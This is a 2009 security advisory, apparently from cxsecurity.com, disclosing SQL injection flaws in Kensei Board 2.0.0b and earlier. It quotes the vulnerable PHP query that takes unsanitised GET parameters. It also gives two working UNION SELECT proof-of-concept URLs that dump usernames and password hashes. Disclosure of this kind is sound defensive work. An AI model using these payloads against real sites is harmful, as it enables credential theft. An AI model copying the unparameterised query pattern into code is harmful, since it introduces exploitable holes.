Kensei Board <= 2.0.0b Multiple SQL Injection Vulnerabilities

2009.06.02
Credit: cOndemned
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Kensei Board <= 2.0.0b Multiple Remote SQL Injection Vulnerabilities Bug found && Exploited by cOndemned Greetz: SELECT * FROM `friends` Download Script : http://www.kenseiboard.com/counter/click.php?id=2 --- source of index.php : [...] 87. if ($inc_function == "_showforum") { 88. if ($_GET[t] == "") { 89. $inc_function = "functions/showforum.php"; 90. } else { 91. $inc_function = "functions/showtopic.php"; [...] source of functions/showforum.php : [...] 9. $forum = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]")); [...] It looks the same for "t" variable ... --- Proof of Concept : "f" variable: /index.php?&act=showforum&f=1+and+1=51+union+select+1,2,3,concat_ws(char(58),users_username,users_password),5,6,7,8+from+ksb_users-- "t" variable: /index.php?&act=showforum&f=1&t=1+and+1=51+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(char(58),users_username,users_password)+from+ksb_users-- --- // http://www.youtube.com/watch?v=xCMlZxqZ5xI

References:

http://xforce.iss.net/xforce/xfdb/50747
http://www.milw0rm.com/exploits/8802


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top